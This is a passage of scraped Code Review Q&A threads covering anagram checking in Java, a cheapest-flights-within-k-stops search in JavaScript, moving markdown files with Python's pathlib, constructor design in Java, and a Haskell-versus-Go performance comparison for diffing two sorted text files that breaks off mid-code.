"body": "<p>Sorting takes <code>O(N*log(N))</code>, so of course there is an efficient way to check for Anagrams.\nHere is an efficient <strong>O(N)</strong> <em>Time & Space</em> approach to check Anagrams.<br />\nSteps involved in checking for <code>ANAGRAMS</code>:</p>\n<ol>\n<li>If the <code>length</code> of both strings is unequal, then they can never be Anagrams.</li>\n<li>Convert the strings to <code>Lowercase</code> characters to save memory (as then we only need to deal with 26 characters).</li>\n<li>Count the <code>frequency</code> of all the alphabets between 'a' to 'z' for both the strings for comparison.</li>\n<li><code>Compare</code> the frequency of all the alphabets from 'a' to 'z' of both strings as for being Anagrams to each other, the frequency of each character for both the strings should be equal.</li>\n<li>If the frequency of any character is found to be <code>unequal</code>, break the loop as it can't be an Anagram. Else they are anagrams.</li>\n</ol>\n<pre><code> static boolean isAnagram(String s1, String s2)\n {\n int n1 = s1.length(), n2 = s2.length();\n if (n1 != n2)\n return false;\n \n int freq[] = new int[26];\n char[] c1 = s1.toCharArray();\n char[] c2 = s2.toCharArray();\n \n for (int i=0; i<n1; i++) ++freq[ c1[i]-'a' ];\n for (int i=0; i<n2; i++) --freq[ c2[i]-'a' ];\n \n for (int i=0; i<26; i++)\n if ( freq[i] != 0 )\n return false;\n return true;\n }\n</code></pre>\n<p>If the string contains characters other than alphabets we need to use a <code>freq</code> array of size 128 or 256 (for extended ASCII characters).</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-01T16:50:07.357",
"Id": "263739",
"ParentId": "263674",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "263692",
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-01T17:18:35.530",
"Id": "263674",
"Score": "4",
"Tags": [
"java",
"strings"
],
"Title": "Are two strings anagrams?"
}
|
263674
|
<p>The problem:</p>
<blockquote>
<p>There are n cities connected by some number of flights. You are given
an array flights where <code>flights[i] = [fromi, toi, pricei]</code> indicates
that there is a flight from city <code>fromi</code> to city <code>toi</code> with cost <code>pricei</code>.</p>
<p>You are also given three integers <code>src</code>, <code>dst</code>, and <code>k</code>, return the
cheapest price from <code>src</code> to <code>dst</code> with at most <code>k</code> stops. If there is no
such route, return <code>-1</code>.</p>
</blockquote>
<p>My solution, implemented in JavaScript:</p>
<pre><code>var findCheapestPrice = function(n, flights, src, dst, k) {
// generate a graph
let map = new Map();
for(let i=0; i<flights.length; i++) {
const [orig, des, cost] = flights[i];
const temp = map.get(orig) || []
temp.push([des, cost]);
map.set(orig, temp);
}
// start from the source with cost 0
// [cost, city, available stops]
let queue = [[0,src,k+1]]
while(queue.length > 0) {
const [cost, city, stops] = queue.shift();
if(city === dst) return cost; // Get in the destination
// still have available stops
if(stops > 0) {
const possibleFlights = map.get(city) || [];
for(const pf of possibleFlights) {
// current cost + flight cost
// decrement stops (one stop to this airport)
queue.push([cost+pf[1], pf[0], stops-1]);
}
// Sort by the cheapest next flight (Heap?)
queue.sort((a,b) => a[0]-b[0]);
}
}
// couldn't find a path
return -1;
};
</code></pre>
<p>It works just fine with the basic case tests, but it fails with time limit exceed for the test case below. Is there a way to improve the code?</p>
<pre><code>13
[[11,12,74],[1,8,91],[4,6,13],[7,6,39],[5,12,8],[0,12,54],[8,4,32],[0,11,4],[4,0,91],[11,7,64],[6,3,88],[8,5,80],[11,10,91],[10,0,60],[8,7,92],[12,6,78],[6,2,8],[4,3,54],[3,11,76],[3,12,23],[11,6,79],[6,12,36],[2,11,100],[2,5,49],[7,0,17],[5,8,95],[3,9,98],[8,10,61],[2,12,38],[5,7,58],[9,4,37],[8,6,79],[9,0,1],[2,3,12],[7,10,7],[12,10,52],[7,2,68],[12,2,100],[6,9,53],[7,4,90],[0,5,43],[11,2,52],[11,8,50],[12,4,38],[7,9,94],[2,7,38],[3,7,88],[9,12,20],[12,0,26],[10,5,38],[12,8,50],[0,2,77],[11,0,13],[9,10,76],[2,6,67],[5,6,34],[9,7,62],[5,3,67]]
10
1
10
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-01T22:32:20.580",
"Id": "520613",
"Score": "0",
"body": "The code doesn't look correct. If there is a direct flight from `src` to `dst`, it will be returned at the very first iteration. Indirect flights (which could be cheaper) are not considered."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-02T11:07:24.523",
"Id": "520631",
"Score": "0",
"body": "@vnp I don't think so, because he is sorting the queue by price as far as I understand."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-02T15:42:07.127",
"Id": "520653",
"Score": "0",
"body": "@BlažMrak yes, the sorting makes the code work, but too slow"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-02T16:41:45.270",
"Id": "520656",
"Score": "0",
"body": "@myTest532myTest532 what do the inputs for the test mean? It would be helpful if you named them."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-02T17:46:54.250",
"Id": "520658",
"Score": "0",
"body": "The test inputs are in the same order as the function arguments."
}
] |
[
{
"body": "<h1>Refactoring</h1>\n<p>I have refactored your code to be more understandable. I have mainly extracted what you commented into functions and changed what you had in tuples into objects.</p>\n<p>Here is the result:</p>\n<pre><code>function generatePossibleFlightsFromCities(flights) {\n const map = {}\n\n for (let i = 0; i < flights.length; i++) {\n const [origin, destination, cost] = flights[i]\n const destinationsFromOrigin = map[origin] || []\n destinationsFromOrigin.push({\n destination,\n cost\n })\n map[origin] = destinationsFromOrigin\n }\n\n return map\n}\n\nfunction initiateQueue(src, k) {\n return [{\n cost: 0,\n city: src,\n stops: k + 1\n }]\n}\n\nfunction insertIntoTheQueue(queue, cost, stops, possibleFlight) {\n const totalCost = cost + possibleFlight.cost\n\n queue.push({\n cost: totalCost,\n city: possibleFlight.destination,\n stops: stops - 1\n });\n}\n\nfunction noMoreStops(stops) {\n return stops === 0\n}\n\nfunction cameToDestination(city, dst) {\n return city === dst\n}\n\nfunction notEmpty(queue) {\n return queue.length > 0\n}\n\nfunction findCheapestFlight(queue, possibleFlightsFromCities, destination) {\n while (notEmpty(queue)) {\n const {\n cost,\n city,\n stops\n } = queue.shift();\n\n if (cameToDestination(city, destination)) return cost;\n if (noMoreStops(stops)) continue\n\n const possibleFlights = possibleFlightsFromCities[city]\n for (const possibleFlight of possibleFlights) {\n insertIntoTheQueue(queue, cost, stops, possibleFlight)\n }\n\n queue.sort((a, b) => a.cost - b.cost);\n }\n\n return -1\n}\n\nconst findCheapestPrice = function(n, flights, src, dst, k) {\n let possibleFlightsFromCities = generatePossibleFlightsFromCities(flights)\n let queue = initiateQueue(src, k)\n\n return findCheapestFlight(queue, possibleFlightsFromCities, dst);\n}\n</code></pre>\n<p>This code still has the same problem, but is more readable and easier to understand. The problem still remains as the program still takes too much time.</p>\n<h1>Solution</h1>\n<p>You could have tried with the heap, but I do not think it would have solved your problem. The problem is that you simply have too much items in your queue. If you look at your queue you will see something like this:</p>\n<pre><code>[{city: 0, cost: 150, stops: 3}, \n..., \n{city: 0, cost: 230, stops: 5}, \n..., \n{city: 0, cost: 270, stops: 5}, \n...\n]\n</code></pre>\n<p>Notice, there is nothing wrong with the first one, but look at the second and third one. They stopped exactly the same amount of times, but the second one came there cheaper. This leads to the conclusion that no matter what the third one will always be more expensive, so we can get rid of it - meaning we shouldn't insert it in the queue in the first place. Basically we do not want to try to go somewhere if we can arrive there cheaper by some other path.</p>\n<p>The only thing that changes is how we insert the possible flights into the queue:</p>\n<pre><code>function cheaperPathToDestinationExists(queue, destination, cost, stops) {\n return queue.some(item => item.city === destination && item.stops === stops && item.cost < cost)\n}\n\nfunction insertIntoTheQueue(queue, cost, stops, possibleFlight) {\n const totalCost = cost + possibleFlight.cost\n if (cheaperPathToDestinationExists(queue, possibleFlight.destination, totalCost, stops - 1)) return\n\n queue.push({\n cost: totalCost,\n city: possibleFlight.destination,\n stops: stops - 1\n });\n}\n</code></pre>\n<p>The solution isn't perfect. There are still some branches that you can cut, but I will leave this up to you to figure out. Also, it is more of a Stack Overflow/Software Engineering question and not a Code Review one.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-02T17:48:16.243",
"Id": "263703",
"ParentId": "263675",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-01T17:18:55.203",
"Id": "263675",
"Score": "1",
"Tags": [
"javascript",
"algorithm",
"programming-challenge",
"time-limit-exceeded",
"graph"
],
"Title": "Cheapest flights within k stops algorithm in JavaScript"
}
|
263675
|
<p>I want to move all markdown (.md) files from one folder to another. The folder structure I have:</p>
<pre><code>.
|-- Root11
| |-- FolderOne
| | |-- file1.md
| | |-- file1.txt
| | |-- file2.md
| | |-- file2.txt
| | |-- file3.md
| | |-- file3.txt
| | |-- file4.md
| | |-- file4.txt
| | |-- file5.md
| | `-- file5.txt
| `-- FolderTwo
|-- Root12
| |-- FolderOne
| | |-- file1.md
| | |-- file1.txt
| | |-- file2.md
| | |-- file2.txt
| | |-- file3.md
| | |-- file3.txt
| | |-- file4.md
| | |-- file4.txt
| | |-- file5.md
| | `-- file5.txt
| `-- FolderTwo
|-- Root13
| |-- FolderOne
| | |-- file1.md
| | |-- file1.txt
| | |-- file2.md
| | |-- file2.txt
| | |-- file3.md
| | |-- file3.txt
| | |-- file4.md
| | |-- file4.txt
| | |-- file5.md
| | `-- file5.txt
| `-- FolderTwo
|-- Root14
| |-- FolderOne
| | |-- file1.md
| | |-- file1.txt
| | |-- file2.md
| | |-- file2.txt
| | |-- file3.md
| | |-- file3.txt
| | |-- file4.md
| | |-- file4.txt
| | |-- file5.md
| | `-- file5.txt
| `-- FolderTwo
`-- Root15
|-- FolderOne
| |-- file1.md
| |-- file1.txt
| |-- file2.md
| |-- file2.txt
| |-- file3.md
| |-- file3.txt
| |-- file4.md
| |-- file4.txt
| |-- file5.md
| `-- file5.txt
`-- FolderTwo
15 directories, 50 files
</code></pre>
<p>In the above scenario, I want to move all markdown (.md) files from <code>FolderOne</code> to <code>FolderTwo</code> under folders <code>Root11</code> to <code>Root15</code>.</p>
<p>The current code I have in Python:</p>
<pre><code>cur_path = os.getcwd()
outer_folder_path = f"{cur_path}\\root\\"
folder1 = "FolderOne"
folder2 = "FolderTwo"
root_dir, root_folders, _ = next(os.walk(outer_folder_path))
for root_folder in root_folders:
root_folder = os.path.join(root_dir, root_folder)
folder_path, folder_with_name_folders, _ = next(os.walk(root_folder))
for folder_with_name_folder in folder_with_name_folders:
if folder_with_name_folder == folder1:
check_this_folder = os.path.join(folder_path, folder_with_name_folder)
file_path, _, files = next(os.walk(check_this_folder))
for _file in files:
if _file.endswith(".md"):
input_file = os.path.join(file_path, _file)
ouput_file = input_file.replace(folder1, folder2)
os.rename(input_file, ouput_file)
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-01T23:37:47.610",
"Id": "520614",
"Score": "2",
"body": "I suspect the `pathlib` module would simplify things a lot for your task: `for path in pathlib.Path(outer_folder_path).rglob('*.md'): ...`"
}
] |
[
{
"body": "<p>As @FMc suggests, the sugar in <code>pathlib</code> will make this much easier. Even if you weren't to use it, the old glob methods are preferred over your iterate-and-check.</p>\n<p>This can be as simple as</p>\n<pre><code>from pathlib import Path\n\nfor root in (Path.cwd() / 'root').glob('Root*'):\n dest = root / 'FolderTwo'\n for md in (root / 'FolderOne').glob('*.md'):\n md.rename(dest / md.name)\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-04T02:41:19.787",
"Id": "520750",
"Score": "0",
"body": "I have some trouble running this. It doesn't seem like it's doing anything; it's not throwing an error either. I added it to a Python file which is stored in the same place as the `Root{11..15}` folders. I'm on Windows."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-04T02:53:39.110",
"Id": "520751",
"Score": "0",
"body": "You need another level of directory between yourself and Root<n>, namely `root`."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-03T02:44:24.950",
"Id": "263712",
"ParentId": "263679",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": "263712",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-01T18:40:41.607",
"Id": "263679",
"Score": "1",
"Tags": [
"python",
"python-3.x",
"file-system"
],
"Title": "Move all markdown files from one folder to another in Python"
}
|
263679
|
<p>I have class CellGroup that contains List of cell lists</p>
<p>That class has creation of list inside and transforming it to list of lists.</p>
<pre><code>public class CellGroup {
private List<List<Cell>> cells;
public CellGroup(int predatorNumber, int preyNumber, int obstaclesNumber, int rowNum, int colNum){
if (rowNum > 25 || colNum > 70) return;
int totalCells = rowNum * colNum;
List<Cell> cellList = IntStream.range(0, totalCells).mapToObj(i -> {
if (i < predatorNumber) return new Predator(4, 4);
if (i < predatorNumber + preyNumber) return new Prey(4);
if (i < predatorNumber + preyNumber + obstaclesNumber) return new Obstacles();
return new Cell();
}).collect(Collectors.toList());
Collections.shuffle(cellList);
IntStream.range(0, totalCells).forEach(i -> cellList.get(i).setOceanCoordinate(new Point(i / colNum, i % colNum)));
this.cells = ListUtils.partition(cellList, colNum);
}
public CellGroup(List<List<Cell>> cells) {
this.cells = new ArrayList<>(cells);
}
public List<List<Cell>> getCells() {
return cells;
}
public void setCells(List<List<Cell>> cells) {
this.cells = cells;
}
}
</code></pre>
<p>What is best approach to do it?</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-02T07:41:28.920",
"Id": "520623",
"Score": "2",
"body": "This post lacks contextual information for a proper code review. What is this class for, and how do other classes call and use this code?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-02T12:07:40.943",
"Id": "520637",
"Score": "0",
"body": "A constructor should **not** have actions besides assignments in the first place."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-02T14:35:16.967",
"Id": "520649",
"Score": "1",
"body": "There are different aspects. On one hand, doing serious work in a constructor typically is a bad idea. On the other hand, a constructor should deliver a fully-functioning object. So, with proper encapsulation in mind, you sometimes have to do some work in a constructor to transform its arguments into a consistent functional state of the instance."
}
] |
[
{
"body": "<blockquote>\n<p>I have class CellGroup that contains List of cell lists</p>\n<p>That class has creation of list inside and transforming it to list of lists.</p>\n</blockquote>\n<p>I hate to tell you, but that is a lie. You actually have a CellGroup, that fills the list with some objects, shuffles the list, and transforms it to the list of lists and then saves it to the "cells" field.</p>\n<p>What you would have to do is split the initialization from CellGroup.</p>\n<pre><code>public class CellGroup {\n private List<List<Cell>> cells;\n\n public CellGroup(List<List<Cell>> cells) {\n this.cells = new ArrayList<>(cells);\n }\n\n public List<List<Cell>> getCells() {\n return cells;\n }\n}\n</code></pre>\n<pre><code>public interface CellInitializer {\n List<List<Cell>> initialize(\n int predatorNumber,\n int preyNumber,\n int obstaclesNumber,\n int rowNum,\n int colNum\n );\n}\n</code></pre>\n<pre><code>public class MyCellInitializer implements CellInitializer {\n public List<List<Cell>> initialize(\n int predators,\n int prey,\n int obstacles,\n int rows,\n int columns\n ) {\n if (exceedesMaxMatrixSize(rows, columns)) return null;\n\n List<Cell> cellList = populateTheListWithCells(\n int predators,\n int prey,\n int obstacles,\n int rows,\n int columns\n );\n\n Collections.shuffle(cellList);\n assignOceanCoordinates(cellList, columns);\n\n return ListUtils.partition(cellList, columns);\n }\n\n private List<Cell> populateTheListWithCells(\n int predators,\n int prey,\n int obstacles,\n int rows,\n int columns\n ) {\n int totalCells = rows * columns;\n return IntStream.range(0, totalCells).mapToObj(i -> {\n if (i < predators) return new Predator(4, 4);\n if (i < predators + prey) return new Prey(4);\n if (i < predators + prey + obstacles) return new Obstacles();\n return new Cell();\n }).collect(Collectors.toList());\n }\n\n private void assignOceanCoordinates(List<Cell> cells, int columns) {\n for(int i = 0; i < cells.size(); i++) {\n cells.get(i).setOceanCoordinate(\n new Point(i / columns, i % columns)\n ));\n }\n }\n\n private boolean exceedesMaxMatrixSize(int rows, int columns) {\n retrun rows> 25 || columns > 70\n }\n}\n</code></pre>\n<p>You could also make the initializer a "reset" method on CellGroup.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-01T20:31:56.227",
"Id": "263684",
"ParentId": "263680",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-01T19:08:48.883",
"Id": "263680",
"Score": "-1",
"Tags": [
"java",
"constructor"
],
"Title": "If constructor has actions besides assignment should I move those actions in separate method?"
}
|
263680
|
<p>I am working on writing code for find difference between two text files that should be ideally same.</p>
<p>the format of file is
<code>docid_{num}\t{num}\t{num0},{f0} {num1},{f1} ..... {numN},{fN}\n</code></p>
<p>eg:
<code>docid_0\t300\t5,2 4,3 9,2\n</code></p>
<p>adding link to relative big file that can be used to test:
<a href="https://gist.github.com/Lightyagami1/a539a4e311fef9104fb467021af8246c" rel="nofollow noreferrer">https://gist.github.com/Lightyagami1/a539a4e311fef9104fb467021af8246c</a> (small 5k lines file)</p>
<p><a href="https://drive.google.com/file/d/1Z3MrokMtWyNH9BrnaAiljFgE25BnwFQ8/view?usp=sharing" rel="nofollow noreferrer">https://drive.google.com/file/d/1Z3MrokMtWyNH9BrnaAiljFgE25BnwFQ8/view?usp=sharing</a> (10K lines file)</p>
<p>to perform this operation efficiently I have sorted both files based on numerical value within docid_{num} (num value) . and then wish to use an approach similar to 2 pointers.</p>
<p>that is assume
N = docid_{n} (from file1)
M = docid_{m} (from file2)</p>
<p>here I intend to use N and M as indexes. (again mentioning both files are sorted)</p>
<p>if N > M : docid_{N} is not present in file2
else if N < M : docid_{M} is not present in file1
else : both file contain doc_id with same values.</p>
<p>now the haskell code that I have written doesn't seems to be as great as similar golang code. golang code takes roughly 2 seconds while this take 35 seconds. Any tips to improve it are welcomed.</p>
<p>I understand both are not exactly same, but I have tried to make main algorithm same.</p>
<p>result of profiling code, compiled with -O2 optimization flag.</p>
<pre><code> diff7 +RTS -sstderr -p -RTS sa3_10000 sa3_1_10000
total time = 34.05 secs (34052 ticks @ 1000 us, 1 processor)
total alloc = 97,676,092,088 bytes (excludes profiling overheads)
COST CENTRE MODULE SRC %time %alloc
readAsInt Main diff7.hs:44:1-39 77.1 76.3
readBothTogether.wrds1 Main diff7.hs:146:5-43 4.8 5.9
readBothTogether.wrds2 Main diff7.hs:147:5-43 4.8 5.9
splitInner.res Main diff7.hs:37:5-45 4.4 6.4
compare'.freqs1 Main diff7.hs:173:5-57 1.9 1.5
compare'.freqs2 Main diff7.hs:177:5-57 1.8 1.5
makePairs Main diff7.hs:41:1-77 0.9 1.5
</code></pre>
<p>haskell code</p>
<pre><code>{-# LANGUAGE OverloadedStrings #-}
{-# LANGUAGE BangPatterns #-}
{-# LANGUAGE Strict #-}
import qualified Data.IntMap.Strict as IM (IntMap, fromList, difference, keys, intersection, toList, lookup, findWithDefault, empty, size)
import System.Environment
import qualified Data.Text as L
import Data.Text.IO as LTIO
import Data.Int
splitter :: Char -> Bool
splitter ' ' = True
splitter '\t' = True
splitter _ = False
splitInner :: [L.Text] -> [(Int, Int)]
splitInner inp = res1
where
res = L.splitOn (L.singleton ',') <$> inp
res1 = makePairs res
makePairs :: [[L.Text]] -> [(Int, Int)]
makePairs = map (\x -> (readAsInt . head $ x, readAsInt . (head . tail) $ x))
readAsInt :: L.Text -> Int
readAsInt x = read $! L.unpack x :: Int
{-
Comparing result of two files need to take care of:
+ docuemtns present in result of only 1 file
+ common documents (present in both file's result)
- missing token in one of file's result.
- common token, but frequency different
- happy scenario, frequency match too.
-}
data DiffStruct =
MkDiffStruct
{ documentsPresentInBoth :: Int
, documentsPresentOnlyInFirst :: Int
, documentsPresentOnlyInSecond :: Int
, documentsTokenCountDifferent :: Int
, documentsTokenFrequencyDifferent :: Int64
, documentsTokenFrequencySame :: Int64
}
deriving (Show)
correctingFactor = 14 -- 14 is constant difference due to algo difference
readBothTogether :: L.Text -> L.Text -> DiffStruct
readBothTogether t1 t2 = MkDiffStruct a b c d e f
where
wrds1 = L.split splitter <$> L.lines t1
wrds2 = L.split splitter <$> L.lines t2
(a,b,c,d,e,f) = compare' wrds1 wrds2
add' :: (Int,Int, Int, Int, Int64, Int64) -> (Int, Int, Int, Int, Int64, Int64) -> (Int, Int, Int, Int, Int64, Int64)
add' (a1, a2, a3, a4, a5, a6) (b1, b2, b3, b4, b5, b6) = (a1+b1, a2+b2, a3+b3, a4+b4, a5+b5, a6+b6)
{-
add' will contain
- document present only in first
- document present only in second
* same document
- token present only in first
- token present only in second
- token present in both but different frequency
- token present in both and same frequency
-}
compare' :: [[L.Text]] -> [[L.Text]] -> (Int, Int, Int, Int, Int64, Int64)
compare' _ [] = (0,0,0,0,0,0)
compare' [] _ = (0,0,0,0,0,0)
compare' inp1@(x:xs) inp2@(y:ys)
| head1 > head2 = add' (1,0,0,0,0,0) $ compare' xs inp2
| head1 < head2 = add' (0,1,0,0,0,0) $ compare' inp1 ys
| otherwise = add' (0, 0, tokensPresentOnlyInFirst, tokensPresentOnlyInSecond, sameVal, diffVal) $ compare' xs ys
where
head1 = head x
seconds1 = readAsInt . head . tail $ x
freqs1 = IM.fromList . splitInner . drop 2 . init $ x
head2 = head y
seconds2 = readAsInt . head . tail $ y
freqs2 = IM.fromList . splitInner . drop 2 . init $ y
tokensPresentOnlyInFirst = IM.size $ IM.difference freqs1 freqs2
tokensPresentOnlyInSecond = IM.size $ IM.difference freqs2 freqs1
commonKeys = IM.intersection freqs1 freqs2
(sameVal, diffVal) = compareCommonKeysInTwoMaps (IM.keys commonKeys) freqs1 freqs2
compareCommonKeysInTwoMaps :: [Int] -> IM.IntMap Int -> IM.IntMap Int -> (Int64, Int64)
compareCommonKeysInTwoMaps [] _ _ = (0, 0)
compareCommonKeysInTwoMaps (x:xs) m1 m2
| val1 == val2 = add2 (1, 0) $ compareCommonKeysInTwoMaps xs m1 m2
| otherwise = add2 (0, 1) $ compareCommonKeysInTwoMaps xs m1 m2
where
val1 = IM.findWithDefault (-1) x m1
val2 = IM.findWithDefault (-1) x m2
add2 :: (Int64, Int64) -> (Int64, Int64) -> (Int64, Int64)
add2 (a1, a2) (b1, b2) = (a1+b1, a2+b2)
main :: IO ()
main = do
args <- getArgs
let fp1 = head args
fp2 = args !! 1
print fp1
print fp2
inp1 <- LTIO.readFile fp1
inp2 <- LTIO.readFile fp2
print $ readBothTogether inp1 inp2
</code></pre>
<p>Adding golang code I'm comparing with</p>
<pre><code>package main
import (
"bufio"
"fmt"
"io"
"log"
"os"
"strconv"
"strings"
)
func main() {
f1n := os.Args[1]
f2n := os.Args[2]
fmt.Println("first file: ", f1n)
fmt.Println("second file: ", f2n)
f1, err := os.Open(f1n)
if err != nil {
log.Fatalf("failed to open file1")
}
f2, err := os.Open(f2n)
if err != nil {
log.Fatalf("failed to open file2")
}
defer f1.Close()
defer f2.Close()
var line1 string
var line2 string
scanner1 := bufio.NewReader(f1)
scanner2 := bufio.NewReader(f2)
docPresentOnlyInFirst := 0
docPresentOnlyInSecond := 0
tokenPresentOnlyInFirst := 0
tokenPresentOnlyInSecond := 0
tokenPresentInBothSameFreq := 0
tokenPresentInBothDiffFreq := 0
i, j, ind := 0, 0, 0
inc1, inc2 := true, true
for {
if inc1 {
line1, err = scanner1.ReadString('\n')
if line1 == "" || (err != nil && err != io.EOF) {
break
}
// As the line contains newline "\n" character at the end, we could remove it.
line1 = line1[:len(line1)-1]
}
if inc2 {
line2, err = scanner2.ReadString('\n')
if line2 == "" || (err != nil && err != io.EOF) {
break
}
// As the line contains newline "\n" character at the end, we could remove it.
line2 = line2[:len(line2)-1]
}
Doc1, f1 := lineParser(line1)
Doc2, f2 := lineParser(line2)
if Doc1 > Doc2 {
docPresentOnlyInFirst++
j++
inc1 = false
} else if Doc1 < Doc2 {
docPresentOnlyInSecond++
i++
inc2 = false
} else {
a, b, c, d := compareFreq(f1, f2)
tokenPresentOnlyInFirst += a
tokenPresentOnlyInSecond += b
tokenPresentInBothSameFreq += c
tokenPresentInBothDiffFreq += d
i++
j++
inc1, inc2 = true, true
}
if ind%50000 == 0 {
fmt.Println("currently processing ", i, Doc1, j, Doc2, ind)
}
ind++
}
fmt.Println("total documents processed ", i, j, ind)
fmt.Println("docPresentOnlyInFirst: ", docPresentOnlyInFirst)
fmt.Println("docPresentOnlyInSecond: ", docPresentOnlyInSecond)
fmt.Println("tokenPresentOnlyInFirst: ", tokenPresentOnlyInFirst)
fmt.Println("tokenPresentOnlyInSecond: ", tokenPresentOnlyInSecond)
fmt.Println("tokenPresentInBothSameFreq: ", tokenPresentInBothSameFreq)
fmt.Println("tokenPresentInBothDiffFreq: ", tokenPresentInBothDiffFreq)
}
func compareFreq(f1, f2 map[int]int) (int, int, int, int) {
a, c, d := onlyFirst(f1, f2)
b, _, _ := onlyFirst(f2, f1)
return a, b, c, d
}
func onlyFirst(f1, f2 map[int]int) (int, int, int) {
a, d, c := 0, 0, 0
for k1, v1 := range f1 {
if v2, ok := f2[k1]; !ok {
a++
} else {
if v1 == v2 {
c++
} else {
d++
}
}
}
return a, c, d
}
func SplitOnNonLetters(s string) []string {
return strings.Fields(s)
}
func lineParser(line string) (int, map[int]int) {
parts := SplitOnNonLetters(line)
if len(parts) <= 0 {
tmp := make(map[int]int)
return 0, tmp
}
docId, err := strconv.Atoi(parts[0][6:])
if err != nil {
log.Fatalf("failed to parse dociId %v", docId)
}
// unigramCnt, _ := strconv.Atoi(parts[1])
val := parts[2:]
count := parseCommaSep(val)
return docId, count
}
func parseCommaSep(inp []string) map[int]int {
tmp := make(map[int]int)
for _, pair := range inp {
keyVal := strings.Split(pair, ",")
key, err := strconv.Atoi(keyVal[0])
if err != nil {
log.Fatalf("failed to parse key %v", key)
}
val, err := strconv.Atoi(keyVal[1])
if err != nil {
log.Fatalf("failed to parse value %v", val)
}
tmp[key] = val
}
return tmp
}
</code></pre>
<p>Edit1: Using below code haskell code could reach till ~500% run time of go code, though there are significant divergence between both now such as</p>
<ul>
<li>never converting to int value</li>
</ul>
<pre><code>{-# LANGUAGE OverloadedStrings #-}
{-# LANGUAGE Strict #-}
{-# LANGUAGE RecordWildCards #-}
import qualified Data.Map.Strict as M (Map, fromList, difference, keys, intersection, toList, lookup, findWithDefault, empty, size)
import System.Environment
import qualified Data.ByteString.Lazy.Char8 as B
import Data.Int
import qualified Data.List as L
splitter :: Char -> Bool
splitter ' ' = True
splitter '\t' = True
splitter _ = False
{-# INLINE splitter #-}
splitInner :: [B.ByteString] -> [(B.ByteString, B.ByteString)]
splitInner inp = res1
where
res = B.split ',' <$> inp
res1 = makePairs res
{-# INLINE splitInner #-}
makePairs :: [[B.ByteString]] -> [(B.ByteString, B.ByteString)]
makePairs = map (\x -> (head x, (head . tail) x))
{-# INLINE makePairs #-}
{-
add' will contain
- document present only in first
- document present only in second
* same document
- token present only in first
- token present only in second
- token present in both but different frequency
- token present in both and same frequency
-}
data DiffStruct =
MkDiffStruct
{ documentsPresentOnlyInFirst :: Int
, documentsPresentOnlyInSecond :: Int
, tokensPresentOnlyInFirst :: Int
, tokensPresentOnlyInSecond :: Int
, tokenFrequencyDifferent :: Int
, tokenFrequencySame :: Int
}
deriving (Show)
readBothTogether :: B.ByteString -> B.ByteString -> DiffStruct
readBothTogether t1 t2 = MkDiffStruct a b c d e f
where
wrds1 = B.splitWith splitter <$> B.lines t1
wrds2 = B.splitWith splitter <$> B.lines t2
(a,b,c,d,e,f) = compare' wrds1 wrds2 (0,0,0,0,0,0)
{-# INLINE readBothTogether #-}
data CState = CState
{ dpoif ::Int
, dpois :: Int
, tpoif :: Int
, tpois ::Int
, tfd :: Int
, tfs :: Int
}
add' :: (Int,Int, Int, Int, Int, Int) -> (Int, Int, Int, Int, Int, Int) -> (Int, Int, Int, Int, Int, Int)
add' (a1, a2, a3, a4, a5, a6) (b1, b2, b3, b4, b5, b6) = (a1+b1, a2+b2, a3+b3, a4+b4, a5+b5, a6+b6)
{-# INLINE add' #-}
compare' :: [[B.ByteString]] -> [[B.ByteString]] -> (Int, Int, Int, Int, Int, Int) -> (Int, Int, Int, Int, Int, Int)
compare' _ [] acc = acc
compare' [] _ acc = acc
compare' inp1@(x:xs) inp2@(y:ys) acc
| head1 > head2 = compare' xs inp2 (add' (1,0,0,0,0,0) acc)
| head1 < head2 = compare' inp1 ys (add' (0,1,0,0,0,0) acc)
| otherwise = compare' xs ys (add' (0, 0, tokensPresentOnlyInFirst, tokensPresentOnlyInSecond, sameVal, diffVal) acc)
where
head1 = head x
freqs1 = M.fromList . splitInner . drop 2 $ x
head2 = head y
freqs2 = M.fromList . splitInner . drop 2 $ y
(tokensPresentOnlyInFirst, sameVal, diffVal) = compareTwoMaps freqs1 freqs2
(tokensPresentOnlyInSecond, _, _) = compareTwoMaps freqs2 freqs1
{-# INLINE compare' #-}
data Diff = Diff
{ tokenOnlyFirst :: Int
, tokenFreqSame :: Int
, tokenFreqDiff :: Int
}
compareTwoMaps :: M.Map B.ByteString B.ByteString -> M.Map B.ByteString B.ByteString -> (Int, Int, Int)
compareTwoMaps m1 m2 = (tokenOnlyFirst, tokenFreqSame, tokenFreqDiff)
where
Diff { .. } = L.foldl' go (Diff 0 0 0) keysOfFirst
keysOfFirst = M.keys m1
